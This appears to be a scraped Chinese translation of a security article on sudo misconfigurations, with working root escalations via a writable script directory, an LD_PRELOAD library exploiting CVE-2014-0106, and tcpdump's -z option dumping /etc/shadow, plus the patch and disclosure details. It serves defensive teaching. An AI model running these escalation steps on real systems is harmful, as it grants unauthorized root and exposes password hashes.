1. 程式人生 > >我是怎樣通過Sudo獲取root許可權的

我是怎樣通過Sudo獲取root許可權的

概述

在處理安全相關的事務中,我們經常會發現伺服器配置了許可權管理的軟體Sudo。和其它軟體一樣,配置Sudo也必須遵循最小特權的原則,使用者只能被授予儘可能最小的特權來執行一些必要的任務或操作。因此,為了安全地配置Sudo,普通使用者的許可權必須被嚴格限制,他們僅能靠提升後的許可權(通常是root使用者的許可權)合法地執行一組命令。

在實際應用中,根據最小特權原則配置的Sudo並不多見;即便有,也往往存在些許漏洞,我們利用這些漏洞就可以獲取root許可權。這樣的話,就完蛋了,我們可以為所欲為!

這篇文章旨在給出一些錯誤和不安全配置的例子,這些是我們在安全評估中見到的並對生產環境造成了一定影響的例子。同時也告訴大家如何讓自己的團隊更加輕鬆地應對這些問題。

不安全的檔案系統許可權

考慮下面我們虛擬的使用者“appadmin”的Sudo配置:

Shell
12345 $sudo-l[sudo]password forappadmin:User appadmin may run the following commands on thishost:(root)/opt/Support/start.sh,(root)/opt/Support/stop.sh,(root)/opt/Support/restart.sh,(root)/usr/sbin/lsof

目前看起來沒什麼問題。接著我們來看看以下指令碼:

Shell
123456 $ls-l/opt/Support/total4-rwxr-xr-x1root     root37Oct314:06restart.sh-rwxr-xr-x1appadmin appadmin53Oct314:03start.sh$ls-ld/opt/Supportdrwxr-xr-x2appadmin appadmin4096Oct313:58/opt/Support

這些檔案和目錄的許可權沒有問題嗎?在這裡,我們有幾個選項來提升我們的許可權:

  1. 建立一個不存在的檔案“stop.sh”
  2. 更改已存在的檔案“start.sh”
  3. 移動檔案“restart.sh”並建立另一個同名的檔案

下面是第三種做法的演示:

Shell
123456 $mv/opt/Support/restart.sh{,.bak}$ln-s/bin/bash/opt/Support/restart.sh$sudo/opt/Support/restart.sh[sudo]password forappadmin:# iduid=0(root)gid=0(root)groups=0(root)

Game?over!?:)

環境變數

考慮下面我們的使用者“monitor”的Sudo配置:

Shell
123456 $sudo-l[sudo]password formonitor:Matching Defaults entries formonitor on thishost:!env_resetUser monitor may run the following commands on thishost:(root)/etc/init.d/sshd

我們看到env_reset選項被禁用了!這就意味著我們可以更改我們被允許執行的命令的環境。根據Sudo版本的不同,我們可以通過傳入環境變數來提升我們的許可權,正如以下著名的漏洞那樣:

同樣需要知道的是,其它一些危險的環境變數也可能被我們濫用(PERL5OPT, PYTHONINSPECT 等等)。
應當指出,雖然,即使當env_reset被禁用,大多數危險的環境變數現在已經被Sudo根據預設的硬編碼黑名單(hard-coded blacklist)刪除了。使用root使用者執行“sudo -V”檢視“要刪除的環境變數”這個黑名單。

不過,在版本低於1.8.5的Sudo中,我們發現通過命令列傳遞的環境變數不會被刪除,儘管它們應該被刪除。所以我們仍然可以利用和LD_PRELOAD類似的技術來提升我們的許可權,下面給出了在最新版本的Red Hat企業版Linux 5.10系統中的例子(僅僅是少了最新的安全更新)。

Shell
123456789101112131415161718192021222324 $rpm-qsudosudo-1.7.2p1-28.el5$cat>xoxo.c<<'LUL'#include <unistd.h>#include <stdlib.h>void_init(){if(!geteuid()){unsetenv("LD_PRELOAD");unlink("/tmp/libxoxo.so.1.0");setgid(0);setuid(0);execl("/bin/sh","sh","-c","cp /bin/bash /tmp/.bash; chown 0:0 /tmp/.bash; /bin/chmod +xs /tmp/.bash",NULL);}}LUL$gcc-oxoxo.o-cxoxo.c-fPIC$gcc-shared-Wl,-soname,libxoxo.so.1-o/tmp/libxoxo.so.1.0xoxo.o-nostartfiles$sudo LD_PRELOAD=/tmp/libxoxo.so.1.0/etc/init.d/sshd blaaah[sudo]password formonitor:$/tmp/.bash-p-c'id;head -n 1 /etc/shadow'uid=500(monitor)gid=500(monitor)euid=0(root)egid=0(root)groups=500(monitor)root:$1$VjDVB93E$AUL2Mg1L2gH70HHxh2CEr/:16128:0:99999:7:::

這個Bug位於檔案sudo-1.8.4p5/plugins/sudoers/env.c的第685行,該處一個boolean比較操作沒有被正確地執行。下面的補丁修復了這個問題:

Shell
1234567891011 ---sudo-1.8.4p5/plugins/sudoers/env.c2012-03-3004:37:01.000000000+1100+++sudo-1.8.4p5-fixed/plugins/sudoers/env.c2014-02-2810:36:14.623915000+1100@@-682,7+682,7@@okvar=matches_env_keep(*ep);}else{okvar=matches_env_delete(*ep)==false;-if(okvar==false)+if(okvar==true)okvar=matches_env_check(*ep)!=false;}if(okvar==false){

在1.8.5版本的Sudo中,受影響的程式碼實際上被更改和清理掉了,以這種“悄無聲息”的方式修復了存在的問題。結果就是,在1.8.5及以上版本中,通過命令列傳遞的環境變數也被清除了。

需要注意的是RHEL5.10系統仍然是脆弱的,因為它附帶了1.7.2p1版本(應用了先前的每一個安全補丁)。同樣,RHEL從6.0到6.3相容了一個1.7分支的版本。不過,RHEL6.4系統就要好一些,因為它附帶了1.8.6p3版本。

我們負責任地向供應商披露了這些安全問題,在一週之內,該漏洞被命名為CVE-2014-0106,並公佈了其中一些細節,同時釋出了1.7.10p8安全補丁。雖然為受其影響的發行版開發的安全更新還未釋出,一個簡單的解決措施是不要禁用env_reset選項,這是系統預設的。

Escape to shell

考慮下面我們的使用者“john”的Sudo配置:

Shell
1234 $sudo-l[sudo]password forjohn:User john may run the following commands on thishost:(root)/usr/sbin/tcpdump

在這個例子中,john能夠截獲網路流量。這個任務本身對管理員來講是完全合法的,那麼會是什麼出了問題呢?值得了解一下“-z postrotate -command”(在tcpdump 4.0.0版本中引入)這個選項:

Shell
12345678910 $echo$'id\ncat /etc/shadow'>/tmp/.test$chmod+x/tmp/.test$sudo tcpdump-ln-ieth0-w/dev/null-W1-G1-z/tmp/.test-Zroot[sudo]password forjohn:tcpdump:listening on eth0,link-typeEN10MB(Ethernet),capture size65535bytesMaximum filelimit reached:1uid=0(root)gid=0(root)groups=0(root)context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023root:$6$CnflBAm.SEqAN6Rz$rZhceJkWQlw1Dl1LaWltiT.cIhXyHtk5Ot2C7mMygrr7XBhJFzLkO8RKphzgowaYUMJHiO2MB9oBRCKFQAWoz0:16138:0:99999:7:::bin:*:15980:0:99999:7:::...

注意“Z-root”需要基於RedHat的發行版(Fedora,CentOs等),因為它們在處理儲存檔案之前要修補TcpDump包來刪除root許可權。

那麼,你能做些什麼以避免Sudo的濫用?確保要仔細檢查每一個獲取提升後的許可權來執行的程式,它們有可能直接獲得root許可權(a nice # prompt)。比如說,像vi或者less這樣的程式,允許使用者呼叫任意的shell命令(帶!或者類似的),應該用更安全的同類程式,rvim和cat來代替它們。

想實戰一下?接下來有個挑戰,找出如何彈出一個root shell的方法。這裡至少有兩種方法可供我們參考,不過其中一種要比另一種更具侵略性,可以影響到系統的完整性。你可以在評論中給出你的解決辦法。為了不削減趣味性,我們會在幾個星期之後公佈我們的和最原始的解決方法。系統環境是一個標準的CentOS 6.5系統,僅按“預設”的方式安裝了zip包。

Shell
12345678910111213141516171819202122 $cat/usr/local/bin/extract_docs.sh#!/bin/bashzip-U/root/original-docs.zip-O/var/lib/extracted-docs.zip"[email protected]"$ls-ld/root/original-docs.zip/usr/local/bin//usr/local/bin/extract_docs.sh/var/lib//var/lib/extracted-docs.zipls:cannot access/root/original-docs.zip:Permission denieddrwxr-xr-x.2root root4096Mar1217:02/usr/local/bin/-rwxr-xr-x.1root root80Mar1217:02/usr/local/bin/extract_docs.shdrwxr-xr-x

相關推薦

是怎樣通過Sudo獲取root許可權

概述 在處理安全相關的事務中,我們經常會發現伺服器配置了許可權管理的軟體Sudo。和其它軟體一樣,配置Sudo也必須遵循最小特權的原則,使用者只能被授予儘可能最小的特權來執行一些必要的任務或操作。因此,為了安全地配置Sudo,普通使用者的許可權必須被嚴格限制,他們僅

Linux如何通過sudo獲得root許可權???

給hadoop賬戶新增sudo許可權:在root下:chmod u+w /etc/sudoersvi /etc/sudoers 在 root       ALL=(ALL)    ALL下新增一行:     Mcwang ALL=(ALL)   ALL   //新增sodo授

樹莓派上php通過sudo執行root許可權的程式

1、問題和原因         樹莓派上的PHP主頁無法執行具有root許可權的命令或指令碼原因,並不是PHP無法執行,而是Apache的許可權不夠!!!! 2、PHP執行shell指令碼或Pyth

通過修改rom包永久獲取root許可權和所有應用除錯功能ro.debuggable

準備工具:1. adb部分安卓機型獲取root許可權比較難,刷supersu卡刷包和各種刷機工具都不見效;作為一名移動安全工程師,經常需要對各種APK進行除錯,通常除錯APK需要滿足的條件是apk的配置檔案androidmanifest.xml中android:debugga

centos配置普通使用者可以使用sudo命令臨時獲取root許可權

一.描述普通使用者使用:yum命令時,系統提示許可權不足,於是想到使用sudo命令借用root使用者的許可權:sudo yum install vim結果提示:您需要 root 許可權執行此命令。二.解析CentOS系統安裝完成後預設普通使用者是無法使用sudo命令借用root用的許可權的,需要在/etc/s

HTC G14解鎖S OFF 刷機 獲取ROOT許可權

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

android emulator 獲取 Root 許可權

參考:https://blog.csdn.net/luvsnow/article/details/79963025  在2018.4的博文,搜尋時排在前面,我嘗試了一下。 浪費將近1小時,下載,按步驟,等;些方法是如此之差。其實有更簡單的方法! 看我的文章:笨方法,原本簡單的方

ubuntu如果獲取root許可權

第一步: 開啟終端,輸入: sudo passwd root ,然後更改root密碼。 第二步: 在終端中使用su root來測試是否可以進入root使用者,如果出現#說明已經設定root使用者的密碼成功。 最後,在終端中輸入exit即可退出root。

Deepin Ubuntu 桌面系統下獲取root許可權,以root賬戶登陸

Deepin Ubuntu 等系統下獲取root許可權,以root賬戶登陸 在我們使用Deepin Ubuntu系統的時候,經常會為了root許可權困擾,雖然我們可以用sudo獲取暫時的執行許可權,但是有些動作卻不能夠這樣執行。例如我們在用export命令設定環境變數的時候,

一則利用核心漏洞獲取root許可權的案例

kernel 最近出了一個新的本地提權安全漏洞CVE-2013-1763,影響範圍比較廣泛,ubuntu,Arch,fedora都受到其影響,漏洞剛公佈就有牛人釋出了利用該漏洞獲取root許可權的攻擊程式碼,下面會分析該程式碼是如何獲取root許可權的。 1. 漏洞描

rk3288 android5.1 java 層使用 su 獲取 root 許可權

 用法:1 Runtime.getRuntime().exec("su , tinymix"); 要連在一起寫,或者寫一指令碼 public void onClick(View v) {              Log.d("test by Wade", "su test

Android獲取Root許可權方法

1、把ADB解壓後,隨便放在任一磁碟下,最好把目錄名改短點,不然DOS下進比較麻煩。5 U6 n) i, D2 w6 t3 b( C4 B3 z) w 2、把SU檔案解壓,放到卡上,最好是根目錄下2 v1 ]; G6 p# G" u- L 3、把V5 連線上電腦 ,電腦會

centos7 新建使用者並獲取root許可權

1: 新增使用者 # useradd name //name為新增使用者名稱字 # passwd password //password為密碼 輸入密碼後確認 passwd: all authentication tokens updated

android apk獲取root許可權執行相應的操作 demo除錯

在apk中,有時候需要root許可權,例如通過apk更新系統庫等system的檔案等,避免升級韌體,或者在apk中需要直接訪問某些裝置等。下面是在apk中獲取root許可權的方法,前提是裝置已經root過了。 關鍵點在於下面這句,通過執行su產生一個具有roo

usb除錯模式已開啟,adb devices顯示List of devices attached 解決辦法!紐維K333一鍵ROOT獲取ROOT許可權

usb除錯模式已開啟,adb devices顯示老顯示List of devices attached 。剛開始以為USB線問題,跟朋友借了一根,未果。 更換其他的機子測試就可以顯示裝置,但是這部紐維K333 (國產機/android 4.1.1)卻顯示不出來,使用金山手機

ubantu系統獲取root 許可權 且 修改檔案內容的方法

獲取root 許可權 首先普及一個知識 就是ubantu 終端上輸入密碼是不現實的。不要把他看做出問題了 首次root,sudo passwd root 一 輸入賬戶密碼 二 輸入unix密碼(root密碼) 三 再次輸入unix 密碼(root

騰訊雲伺服器如何獲取root許可權,如何配置在雲伺服器上配置JDK(續)以及Tomcat的安裝啟動

昨晚由於時間關係,只寫瞭如何獲取root許可權,由於第一次寫部落格,稍不留神,複製的照片竟然沒有顯示進去,請大家原諒,今天接著來寫如何在騰訊雲伺服器上配置JDK的環境變數 1.首先大家需將已經下載好的JDK上傳到自己的伺服器中(記住Linux所用的軟體壓縮包是.zip格式的

Android 獲取ROOT許可權原理解析

一、 概述 本文介紹了android中獲取root許可權的方法以及原理,讓大家對android玩家中常說的“越獄”有一個更深層次的認識。 二、 Root的介紹 1.       Root 的目的 可以讓我們擁有掌控手機系統的許可權,比如刪除一些system/app下面的無用軟體,更換開關機鈴聲和

紅米手機3S 3X獲取ROOT許可權的經驗

紅米手機3S 3X有木有方法啟用了Root許可權?大夥知道,android裝置有Root許可權,一旦手機啟用了root相關許可權,就能夠實現更強的功能,舉個例子,大夥部門的營銷部門的妹子,使用大多數營銷應用都需要在Root許可權下使用,如果手機無能獲的root的許可權,則不能正常使用具體的功能。紅米手機3S

root使用者和sudo使用root許可權的區別

sudo指令 -功能: 以root的身分執行命令 -語法: sudo 其他指令 -使用者: 被root加入『/etc/sudoers』檔案中的使用者 1.root的密碼除了root本人知道外,不需被其他需要用到root許可權使用者知道,因為使用sudo時